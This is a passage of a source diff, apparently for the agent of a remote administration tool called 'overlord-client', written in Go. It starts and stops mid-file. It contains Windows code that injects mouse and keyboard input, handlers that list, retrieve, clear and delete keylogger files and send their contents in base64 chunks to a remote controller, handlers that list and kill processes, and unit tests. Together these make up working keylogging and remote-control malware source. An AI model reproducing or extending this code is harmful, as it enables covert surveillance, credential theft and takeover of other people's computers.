user32 = syscall.NewLazyDLL("user32.dll")
|
||||
procSetCursorPos = user32.NewProc("SetCursorPos")
|
||||
procSendInput = user32.NewProc("SendInput")
|
||||
procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW")
|
||||
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
|
||||
)
|
||||
|
||||
const (
|
||||
MOUSEEVENTF_MOVE = 0x0001
|
||||
MOUSEEVENTF_LEFTDOWN = 0x0002
|
||||
MOUSEEVENTF_LEFTUP = 0x0004
|
||||
MOUSEEVENTF_RIGHTDOWN = 0x0008
|
||||
MOUSEEVENTF_RIGHTUP = 0x0010
|
||||
MOUSEEVENTF_MIDDLEDOWN = 0x0020
|
||||
MOUSEEVENTF_MIDDLEUP = 0x0040
|
||||
MOUSEEVENTF_ABSOLUTE = 0x8000
|
||||
MOUSEEVENTF_VIRTUALDESK = 0x4000
|
||||
|
||||
INPUT_MOUSE = 0
|
||||
INPUT_KEYBOARD = 1
|
||||
|
||||
KEYEVENTF_EXTENDEDKEY = 0x0001
|
||||
KEYEVENTF_KEYUP = 0x0002
|
||||
KEYEVENTF_UNICODE = 0x0004
|
||||
KEYEVENTF_SCANCODE = 0x0008
|
||||
|
||||
SM_XVIRTUALSCREEN = 76
|
||||
SM_YVIRTUALSCREEN = 77
|
||||
SM_CXVIRTUALSCREEN = 78
|
||||
SM_CYVIRTUALSCREEN = 79
|
||||
)
|
||||
|
||||
type mouseInput struct {
|
||||
dx int32
|
||||
dy int32
|
||||
mouseData uint32
|
||||
dwFlags uint32
|
||||
time uint32
|
||||
dwExtraInfo uintptr
|
||||
}
|
||||
|
||||
type keybdInput struct {
|
||||
wVk uint16
|
||||
wScan uint16
|
||||
dwFlags uint32
|
||||
time uint32
|
||||
dwExtraInfo uintptr
|
||||
}
|
||||
|
||||
type hardwareInput struct {
|
||||
uMsg uint32
|
||||
wParamL uint16
|
||||
wParamH uint16
|
||||
}
|
||||
|
||||
type input struct {
|
||||
inputType uint32
|
||||
_ uint32
|
||||
union [32]byte
|
||||
}
|
||||
|
||||
func setCursorPos(x, y int32) {
|
||||
if !sendMouseMoveAbsolute(x, y) {
|
||||
_, _, _ = procSetCursorPos.Call(uintptr(x), uintptr(y))
|
||||
}
|
||||
}
|
||||
|
||||
func sendMouseDown(button int) {
|
||||
switch button {
|
||||
case 0:
|
||||
sendMouseInput(MOUSEEVENTF_LEFTDOWN, 0)
|
||||
case 2:
|
||||
sendMouseInput(MOUSEEVENTF_RIGHTDOWN, 0)
|
||||
case 1:
|
||||
sendMouseInput(MOUSEEVENTF_MIDDLEDOWN, 0)
|
||||
}
|
||||
}
|
||||
|
||||
func sendMouseUp(button int) {
|
||||
switch button {
|
||||
case 0:
|
||||
sendMouseInput(MOUSEEVENTF_LEFTUP, 0)
|
||||
case 2:
|
||||
sendMouseInput(MOUSEEVENTF_RIGHTUP, 0)
|
||||
case 1:
|
||||
sendMouseInput(MOUSEEVENTF_MIDDLEUP, 0)
|
||||
}
|
||||
}
|
||||
|
||||
func sendMouseInput(flags uint32, mouseData uint32) {
|
||||
var inp input
|
||||
inp.inputType = INPUT_MOUSE
|
||||
mi := (*mouseInput)(unsafe.Pointer(&inp.union[0]))
|
||||
mi.dx = 0
|
||||
mi.dy = 0
|
||||
mi.mouseData = mouseData
|
||||
mi.dwFlags = flags
|
||||
mi.time = 0
|
||||
mi.dwExtraInfo = 0
|
||||
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
||||
}
|
||||
|
||||
func sendMouseMoveAbsolute(x, y int32) bool {
|
||||
left := getSystemMetrics(SM_XVIRTUALSCREEN)
|
||||
top := getSystemMetrics(SM_YVIRTUALSCREEN)
|
||||
width := getSystemMetrics(SM_CXVIRTUALSCREEN)
|
||||
height := getSystemMetrics(SM_CYVIRTUALSCREEN)
|
||||
if width <= 1 || height <= 1 {
|
||||
return false
|
||||
}
|
||||
|
||||
const maxCoord = 65535
|
||||
relX := int64(x) - int64(left)
|
||||
relY := int64(y) - int64(top)
|
||||
if relX < 0 {
|
||||
relX = 0
|
||||
}
|
||||
if relY < 0 {
|
||||
relY = 0
|
||||
}
|
||||
if relX > int64(width-1) {
|
||||
relX = int64(width - 1)
|
||||
}
|
||||
if relY > int64(height-1) {
|
||||
relY = int64(height - 1)
|
||||
}
|
||||
|
||||
normX := int32(relX * maxCoord / int64(width-1))
|
||||
normY := int32(relY * maxCoord / int64(height-1))
|
||||
|
||||
var inp input
|
||||
inp.inputType = INPUT_MOUSE
|
||||
mi := (*mouseInput)(unsafe.Pointer(&inp.union[0]))
|
||||
mi.dx = normX
|
||||
mi.dy = normY
|
||||
mi.mouseData = 0
|
||||
mi.dwFlags = MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_VIRTUALDESK
|
||||
mi.time = 0
|
||||
mi.dwExtraInfo = 0
|
||||
r, _, _ := procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
||||
return r != 0
|
||||
}
|
||||
|
||||
func getSystemMetrics(index int32) int32 {
|
||||
r, _, _ := procGetSystemMetrics.Call(uintptr(index))
|
||||
return int32(r)
|
||||
}
|
||||
|
||||
func sendKeyDown(vk uint16) {
|
||||
sendKeyInput(vk, false)
|
||||
}
|
||||
|
||||
func sendKeyUp(vk uint16) {
|
||||
sendKeyInput(vk, true)
|
||||
}
|
||||
|
||||
func sendKeyInput(vk uint16, keyUp bool) {
|
||||
var inp input
|
||||
inp.inputType = INPUT_KEYBOARD
|
||||
ki := (*keybdInput)(unsafe.Pointer(&inp.union[0]))
|
||||
ki.wVk = vk
|
||||
ki.wScan = uint16(mapVirtualKey(vk))
|
||||
flags := uint32(0)
|
||||
if keyUp {
|
||||
flags |= KEYEVENTF_KEYUP
|
||||
}
|
||||
if isExtendedKey(vk) {
|
||||
flags |= KEYEVENTF_EXTENDEDKEY
|
||||
}
|
||||
ki.dwFlags = flags
|
||||
ki.time = 0
|
||||
ki.dwExtraInfo = 0
|
||||
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
||||
}
|
||||
|
||||
func isExtendedKey(vk uint16) bool {
|
||||
switch vk {
|
||||
case 0xA3, // VK_RCONTROL
|
||||
0xA5, // VK_RMENU
|
||||
0x21, // VK_PRIOR
|
||||
0x22, // VK_NEXT
|
||||
0x23, // VK_END
|
||||
0x24, // VK_HOME
|
||||
0x25, // VK_LEFT
|
||||
0x26, // VK_UP
|
||||
0x27, // VK_RIGHT
|
||||
0x28, // VK_DOWN
|
||||
0x2D, // VK_INSERT
|
||||
0x2E, // VK_DELETE
|
||||
0x6F, // VK_DIVIDE
|
||||
0x90: // VK_NUMLOCK
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func mapVirtualKey(vk uint16) uint32 {
|
||||
ret, _, _ := procMapVirtualKeyW.Call(uintptr(vk), 0)
|
||||
return uint32(ret)
|
||||
}
|
||||
|
||||
func sendTextInput(text string) {
|
||||
for _, r := range text {
|
||||
switch r {
|
||||
case '\r', '\n':
|
||||
sendKeyDown(0x0D)
|
||||
sendKeyUp(0x0D)
|
||||
case '\t':
|
||||
sendKeyDown(0x09)
|
||||
sendKeyUp(0x09)
|
||||
case '\b':
|
||||
sendKeyDown(0x08)
|
||||
sendKeyUp(0x08)
|
||||
default:
|
||||
sendUnicodeRune(r)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func sendUnicodeRune(r rune) {
|
||||
var inp input
|
||||
inp.inputType = INPUT_KEYBOARD
|
||||
ki := (*keybdInput)(unsafe.Pointer(&inp.union[0]))
|
||||
ki.wVk = 0
|
||||
ki.wScan = uint16(r)
|
||||
ki.dwFlags = KEYEVENTF_UNICODE
|
||||
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
||||
|
||||
var inpUp input
|
||||
inpUp.inputType = INPUT_KEYBOARD
|
||||
kiUp := (*keybdInput)(unsafe.Pointer(&inpUp.union[0]))
|
||||
kiUp.wVk = 0
|
||||
kiUp.wScan = uint16(r)
|
||||
kiUp.dwFlags = KEYEVENTF_UNICODE | KEYEVENTF_KEYUP
|
||||
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inpUp)), unsafe.Sizeof(inpUp))
|
||||
}
|
||||
|
||||
func keyCodeToVK(code string) uint16 {
|
||||
vkMap := map[string]uint16{
|
||||
"KeyA": 0x41, "KeyB": 0x42, "KeyC": 0x43, "KeyD": 0x44, "KeyE": 0x45,
|
||||
"KeyF": 0x46, "KeyG": 0x47, "KeyH": 0x48, "KeyI": 0x49, "KeyJ": 0x4A,
|
||||
"KeyK": 0x4B, "KeyL": 0x4C, "KeyM": 0x4D, "KeyN": 0x4E, "KeyO": 0x4F,
|
||||
"KeyP": 0x50, "KeyQ": 0x51, "KeyR": 0x52, "KeyS": 0x53, "KeyT": 0x54,
|
||||
"KeyU": 0x55, "KeyV": 0x56, "KeyW": 0x57, "KeyX": 0x58, "KeyY": 0x59, "KeyZ": 0x5A,
|
||||
"Digit0": 0x30, "Digit1": 0x31, "Digit2": 0x32, "Digit3": 0x33, "Digit4": 0x34,
|
||||
"Digit5": 0x35, "Digit6": 0x36, "Digit7": 0x37, "Digit8": 0x38, "Digit9": 0x39,
|
||||
"Enter": 0x0D, "Space": 0x20, "Backspace": 0x08, "Tab": 0x09, "Escape": 0x1B,
|
||||
"ShiftLeft": 0xA0, "ShiftRight": 0xA1, "ControlLeft": 0xA2, "ControlRight": 0xA3,
|
||||
"AltLeft": 0xA4, "AltRight": 0xA5, "MetaLeft": 0x5B, "MetaRight": 0x5C,
|
||||
"ArrowLeft": 0x25, "ArrowUp": 0x26, "ArrowRight": 0x27, "ArrowDown": 0x28,
|
||||
"Delete": 0x2E, "Home": 0x24, "End": 0x23, "PageUp": 0x21, "PageDown": 0x22,
|
||||
"F1": 0x70, "F2": 0x71, "F3": 0x72, "F4": 0x73, "F5": 0x74, "F6": 0x75,
|
||||
"F7": 0x76, "F8": 0x77, "F9": 0x78, "F10": 0x79, "F11": 0x7A, "F12": 0x7B,
|
||||
"Slash": 0xBF,
|
||||
"Backquote": 0xC0,
|
||||
"Minus": 0xBD,
|
||||
"Equal": 0xBB,
|
||||
"BracketLeft": 0xDB,
|
||||
"BracketRight": 0xDD,
|
||||
"Backslash": 0xDC,
|
||||
"IntlBackslash": 0xDC,
|
||||
"Semicolon": 0xBA,
|
||||
"Quote": 0xDE,
|
||||
"Comma": 0xBC,
|
||||
"Period": 0xBE,
|
||||
}
|
||||
if vk, ok := vkMap[code]; ok {
|
||||
return vk
|
||||
}
|
||||
return 0
|
||||
}
|
||||
@@ -0,0 +1,193 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"log"
|
||||
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
const MaxChunkSize = 256 * 1024
|
||||
|
||||
func HandleKeylogList(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||
if env.Keylogger == nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "command_result",
|
||||
"commandId": cmdID,
|
||||
"ok": false,
|
||||
"message": "Keylogger not initialized",
|
||||
})
|
||||
}
|
||||
|
||||
env.Keylogger.FlushNow()
|
||||
|
||||
files, err := env.Keylogger.ListFiles()
|
||||
if err != nil {
|
||||
log.Printf("[keylogger] list error: %v", err)
|
||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "command_result",
|
||||
"commandId": cmdID,
|
||||
"ok": false,
|
||||
"message": err.Error(),
|
||||
})
|
||||
}
|
||||
|
||||
fileInfos := make([]map[string]interface{}, len(files))
|
||||
for i, f := range files {
|
||||
fileInfos[i] = map[string]interface{}{
|
||||
"name": f.Name,
|
||||
"size": f.Size,
|
||||
"date": f.Date.Format("2006-01-02T15:04:05Z07:00"),
|
||||
}
|
||||
}
|
||||
|
||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "keylog_file_list",
|
||||
"files": fileInfos,
|
||||
})
|
||||
}
|
||||
|
||||
func HandleKeylogRetrieve(ctx context.Context, env *runtime.Env, cmdID string, filename string) error {
|
||||
if env.Keylogger == nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "command_result",
|
||||
"commandId": cmdID,
|
||||
"ok": false,
|
||||
"message": "Keylogger not initialized",
|
||||
})
|
||||
}
|
||||
|
||||
if filename == "" {
|
||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "command_result",
|
||||
"commandId": cmdID,
|
||||
"ok": false,
|
||||
"message": "Filename required",
|
||||
})
|
||||
}
|
||||
|
||||
env.Keylogger.FlushNow()
|
||||
|
||||
data, err := env.Keylogger.ReadFile(filename)
|
||||
if err != nil {
|
||||
log.Printf("[keylogger] read error: %v", err)
|
||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "command_result",
|
||||
"commandId": cmdID,
|
||||
"ok": false,
|
||||
"message": err.Error(),
|
||||
})
|
||||
}
|
||||
|
||||
if len(data) <= MaxChunkSize {
|
||||
content := string(data)
|
||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "keylog_file_content",
|
||||
"filename": filename,
|
||||
"content": content,
|
||||
})
|
||||
}
|
||||
|
||||
totalChunks := (len(data) + MaxChunkSize - 1) / MaxChunkSize
|
||||
for i := 0; i < totalChunks; i++ {
|
||||
start := i * MaxChunkSize
|
||||
end := start + MaxChunkSize
|
||||
if end > len(data) {
|
||||
end = len(data)
|
||||
}
|
||||
|
||||
chunk := data[start:end]
|
||||
isLast := i == totalChunks-1
|
||||
|
||||
encoded := base64.StdEncoding.EncodeToString(chunk)
|
||||
|
||||
if err := wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "keylog_file_chunk",
|
||||
"filename": filename,
|
||||
"chunk": i,
|
||||
"total": totalChunks,
|
||||
"content": encoded,
|
||||
"isLast": isLast,
|
||||
"isEncoded": true,
|
||||
}); err != nil {
|
||||
log.Printf("[keylogger] send chunk error: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
if isLast {
|
||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "keylog_file_content",
|
||||
"filename": filename,
|
||||
"content": string(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func HandleKeylogClearAll(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||
if env.Keylogger == nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "keylog_clear_result",
|
||||
"commandId": cmdID,
|
||||
"ok": false,
|
||||
"error": "Keylogger not initialized",
|
||||
})
|
||||
}
|
||||
|
||||
err := env.Keylogger.ClearAll()
|
||||
if err != nil {
|
||||
log.Printf("[keylogger] clear error: %v", err)
|
||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "keylog_clear_result",
|
||||
"commandId": cmdID,
|
||||
"ok": false,
|
||||
"error": err.Error(),
|
||||
})
|
||||
}
|
||||
|
||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "keylog_clear_result",
|
||||
"ok": true,
|
||||
})
|
||||
}
|
||||
|
||||
func HandleKeylogDelete(ctx context.Context, env *runtime.Env, cmdID string, filename string) error {
|
||||
if env.Keylogger == nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "keylog_delete_result",
|
||||
"commandId": cmdID,
|
||||
"ok": false,
|
||||
"error": "Keylogger not initialized",
|
||||
})
|
||||
}
|
||||
|
||||
if filename == "" {
|
||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "keylog_delete_result",
|
||||
"commandId": cmdID,
|
||||
"ok": false,
|
||||
"error": "Filename required",
|
||||
})
|
||||
}
|
||||
|
||||
if err := env.Keylogger.DeleteFile(filename); err != nil {
|
||||
log.Printf("[keylogger] delete error: %v", err)
|
||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "keylog_delete_result",
|
||||
"commandId": cmdID,
|
||||
"ok": false,
|
||||
"error": err.Error(),
|
||||
"filename": filename,
|
||||
})
|
||||
}
|
||||
|
||||
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
||||
"type": "keylog_delete_result",
|
||||
"ok": true,
|
||||
"filename": filename,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"strings"
|
||||
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
)
|
||||
|
||||
func HandleNotificationConfig(_ context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
||||
if env == nil || envelope == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var keywords []string
|
||||
minInterval := 0
|
||||
|
||||
if raw, ok := envelope["keywords"].([]interface{}); ok {
|
||||
for _, v := range raw {
|
||||
if s, ok := v.(string); ok {
|
||||
s = strings.TrimSpace(s)
|
||||
if s != "" {
|
||||
keywords = append(keywords, s)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if v, ok := envelope["minIntervalMs"].(float64); ok {
|
||||
minInterval = int(v)
|
||||
}
|
||||
if v, ok := envelope["minIntervalMs"].(int); ok {
|
||||
minInterval = v
|
||||
}
|
||||
|
||||
env.SetNotificationConfig(keywords, minInterval)
|
||||
log.Printf("notification_config: loaded %d keywords", len(keywords))
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"time"
|
||||
)
|
||||
|
||||
const crashLogFileName = "crashlogC.log"
|
||||
|
||||
func goSafe(label string, cancel context.CancelFunc, fn func()) {
|
||||
go func() {
|
||||
defer recoverAndLog(label, cancel)
|
||||
fn()
|
||||
}()
|
||||
}
|
||||
|
||||
func recoverAndLog(label string, cancel context.CancelFunc) {
|
||||
if r := recover(); r != nil {
|
||||
reason := fmt.Sprintf("%s panic: %v", label, r)
|
||||
stack := debug.Stack()
|
||||
path := writeCrashLog(reason, stack)
|
||||
log.Printf("[panic] %s (see %s)", reason, path)
|
||||
if cancel != nil {
|
||||
cancel()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func writeCrashLog(reason string, stack []byte) string {
|
||||
dir := os.TempDir()
|
||||
_ = os.MkdirAll(dir, 0700)
|
||||
path := filepath.Join(dir, crashLogFileName)
|
||||
|
||||
file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
|
||||
if err != nil {
|
||||
log.Printf("[panic] failed to open crash log %s: %v", path, err)
|
||||
return path
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
timestamp := time.Now().UTC().Format(time.RFC3339)
|
||||
_, _ = fmt.Fprintf(file, "\n=== %s ===\n", timestamp)
|
||||
_, _ = fmt.Fprintf(file, "GOOS=%s GOARCH=%s\n", runtime.GOOS, runtime.GOARCH)
|
||||
_, _ = fmt.Fprintf(file, "Reason: %s\n", reason)
|
||||
if len(stack) > 0 {
|
||||
_, _ = fmt.Fprintf(file, "Stack:\n%s\n", string(stack))
|
||||
}
|
||||
|
||||
return path
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
"time"
|
||||
)
|
||||
|
||||
func HandlePing(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
||||
ts := extractTimestamp(envelope["ts"])
|
||||
if ts == 0 {
|
||||
ts = time.Now().UnixMilli()
|
||||
}
|
||||
log.Printf("ping: received ts=%d, sending pong", ts)
|
||||
pong := wire.Pong{Type: "pong", TS: ts}
|
||||
if err := wire.WriteMsg(ctx, env.Conn, pong); err != nil {
|
||||
log.Printf("ping: failed to send pong: %v", err)
|
||||
return err
|
||||
}
|
||||
log.Printf("ping: pong sent successfully")
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
)
|
||||
|
||||
func HandlePluginEvent(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
||||
if env.Plugins == nil {
|
||||
return nil
|
||||
}
|
||||
pluginID, _ := envelope["pluginId"].(string)
|
||||
event, _ := envelope["event"].(string)
|
||||
payload := envelope["payload"]
|
||||
if pluginID == "" || event == "" {
|
||||
log.Printf("plugin_event: missing pluginId or event")
|
||||
return nil
|
||||
}
|
||||
if err := env.Plugins.Dispatch(ctx, pluginID, event, payload); err != nil {
|
||||
log.Printf("plugin_event: dispatch failed for %s: %v", pluginID, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
)
|
||||
|
||||
func HandlePong(_ context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
||||
env.SetLastPong(time.Now().UnixMilli())
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
func HandleProcessList(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||
log.Printf("process_list: listing all processes")
|
||||
|
||||
processes := []wire.ProcessInfo{}
|
||||
var errMsg string
|
||||
|
||||
procs, err := listProcesses()
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
log.Printf("process_list error: %v", err)
|
||||
} else {
|
||||
processes = procs
|
||||
}
|
||||
|
||||
result := wire.ProcessListResult{
|
||||
Type: "process_list_result",
|
||||
CommandID: cmdID,
|
||||
Processes: processes,
|
||||
Error: errMsg,
|
||||
}
|
||||
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
|
||||
log.Printf("process_kill: %d", pid)
|
||||
|
||||
err := killProcess(pid)
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
@@ -0,0 +1,260 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"overlord-client/cmd/agent/config"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
|
||||
"github.com/vmihailenco/msgpack/v5"
|
||||
)
|
||||
|
||||
func TestHandleProcessList(t *testing.T) {
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
cmdID := "test-cmd-proc-1"
|
||||
|
||||
if err := HandleProcessList(ctx, env, cmdID); err != nil {
|
||||
t.Fatalf("HandleProcessList failed: %v", err)
|
||||
}
|
||||
|
||||
if len(writer.msgs) != 1 {
|
||||
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
|
||||
}
|
||||
|
||||
var result wire.ProcessListResult
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
|
||||
t.Fatalf("Failed to unmarshal result: %v", err)
|
||||
}
|
||||
|
||||
if result.Type != "process_list_result" {
|
||||
t.Errorf("Expected type 'process_list_result', got '%s'", result.Type)
|
||||
}
|
||||
if result.CommandID != cmdID {
|
||||
t.Errorf("Expected CommandID '%s', got '%s'", cmdID, result.CommandID)
|
||||
}
|
||||
|
||||
if len(result.Processes) == 0 {
|
||||
t.Log("WARNING: No processes returned (may indicate platform issue)")
|
||||
} else {
|
||||
t.Logf("Found %d processes", len(result.Processes))
|
||||
|
||||
for i, proc := range result.Processes {
|
||||
if proc.PID <= 0 {
|
||||
t.Errorf("Process %d has invalid PID: %d", i, proc.PID)
|
||||
}
|
||||
if proc.Name == "" {
|
||||
t.Errorf("Process %d has empty name", i)
|
||||
}
|
||||
if proc.Memory < 0 {
|
||||
t.Errorf("Process %d has negative memory: %d", i, proc.Memory)
|
||||
}
|
||||
if proc.CPU < 0 {
|
||||
t.Errorf("Process %d has negative CPU: %f", i, proc.CPU)
|
||||
}
|
||||
|
||||
validTypes := map[string]bool{
|
||||
"system": true,
|
||||
"service": true,
|
||||
"own": true,
|
||||
"other": true,
|
||||
"": true,
|
||||
}
|
||||
if !validTypes[proc.Type] {
|
||||
t.Errorf("Process %d has invalid type: %s", i, proc.Type)
|
||||
}
|
||||
}
|
||||
|
||||
pidExists := make(map[int32]bool)
|
||||
for _, proc := range result.Processes {
|
||||
pidExists[proc.PID] = true
|
||||
}
|
||||
|
||||
for _, proc := range result.Processes {
|
||||
if proc.PPID != 0 && !pidExists[proc.PPID] {
|
||||
t.Logf("INFO: Process %d (%s) has PPID %d which is not in the list (may have exited)",
|
||||
proc.PID, proc.Name, proc.PPID)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleProcessList_ProcessTypes(t *testing.T) {
|
||||
writer := &testWriter{}
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{},
|
||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
cmdID := "test-cmd-proc-2"
|
||||
|
||||
if err := HandleProcessList(ctx, env, cmdID); err != nil {
|
||||
t.Fatalf("HandleProcessList failed: %v", err)
|
||||
}
|
||||
|
||||
if len(writer.msgs) != 1 {
|
||||
t.Fatalf("Expected 1 message, got %d", len(writer.msgs))
|
||||
}
|
||||
|
||||
var result wire.ProcessListResult
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &result); err != nil {
|
||||
t.Fatalf("Failed to unmarshal result: %v", err)
|
||||
}
|
||||
|
||||
typeCounts := make(map[string]int)
|
||||
for _, proc := range result.Processes {
|
||||
typeCounts[proc.Type]++
|
||||
}
|
||||
|
||||
t.Logf("Process type distribution:")
|
||||
for typ, count := range typeCounts {
|
||||
label := typ
|
||||
if label == "" {
|
||||
label = "uncategorized"
|
||||
}
|
||||
t.Logf(" %s: %d", label, count)
|
||||
}
|
||||
|
||||
if typeCounts["system"] == 0 {
|
||||
t.Log("WARNING: No system processes detected")
|
||||
}
|
||||
|
||||
examples := make(map[string][]string)
|
||||
for _, proc := range result.Processes {
|
||||
if len(examples[proc.Type]) < 3 {
|
||||
examples[proc.Type] = append(examples[proc.Type], proc.Name)
|
||||
}
|
||||
}
|
||||
|
||||
t.Log("Example processes by type:")
|
||||
for typ, procs := range examples {
|
||||
label := typ
|
||||
if label == "" {
|
||||
label = "uncategorized"
|
||||
}
|
||||
t.Logf(" %s: %v", label, procs)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessInfoFields(t *testing.T) {
|
||||
|
||||
proc := wire.ProcessInfo{
|
||||
PID: 1234,
|
||||
PPID: 1,
|
||||
Name: "test.exe",
|
||||
CPU: 25.5,
|
||||
Memory: 1048576,
|
||||
Username: "testuser",
|
||||
Type: "own",
|
||||
}
|
||||
|
||||
data, err := msgpack.Marshal(proc)
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to marshal ProcessInfo: %v", err)
|
||||
}
|
||||
|
||||
var decoded wire.ProcessInfo
|
||||
if err := msgpack.Unmarshal(data, &decoded); err != nil {
|
||||
t.Fatalf("Failed to unmarshal ProcessInfo: %v", err)
|
||||
}
|
||||
|
||||
if decoded.PID != proc.PID {
|
||||
t.Errorf("PID mismatch: got %d, want %d", decoded.PID, proc.PID)
|
||||
}
|
||||
if decoded.PPID != proc.PPID {
|
||||
t.Errorf("PPID mismatch: got %d, want %d", decoded.PPID, proc.PPID)
|
||||
}
|
||||
if decoded.Name != proc.Name {
|
||||
t.Errorf("Name mismatch: got %s, want %s", decoded.Name, proc.Name)
|
||||
}
|
||||
if decoded.CPU != proc.CPU {
|
||||
t.Errorf("CPU mismatch: got %f, want %f", decoded.CPU, proc.CPU)
|
||||
}
|
||||
if decoded.Memory != proc.Memory {
|
||||
t.Errorf("Memory mismatch: got %d, want %d", decoded.Memory, proc.Memory)
|
||||
}
|
||||
if decoded.Username != proc.Username {
|
||||
t.Errorf("Username mismatch: got %s, want %s", decoded.Username, proc.Username)
|
||||
}
|
||||
if decoded.Type != proc.Type {
|
||||
t.Errorf("Type mismatch: got %s, want %s", decoded.Type, proc.Type)
|
||||
}
|
||||
}
|
||||
|
||||
func TestListProcesses_PlatformSpecific(t *testing.T) {
|
||||
|
||||
processes, err := listProcesses()
|
||||
if err != nil {
|
||||
t.Fatalf("listProcesses failed: %v", err)
|
||||
}
|
||||
|
||||
if len(processes) == 0 {
|
||||
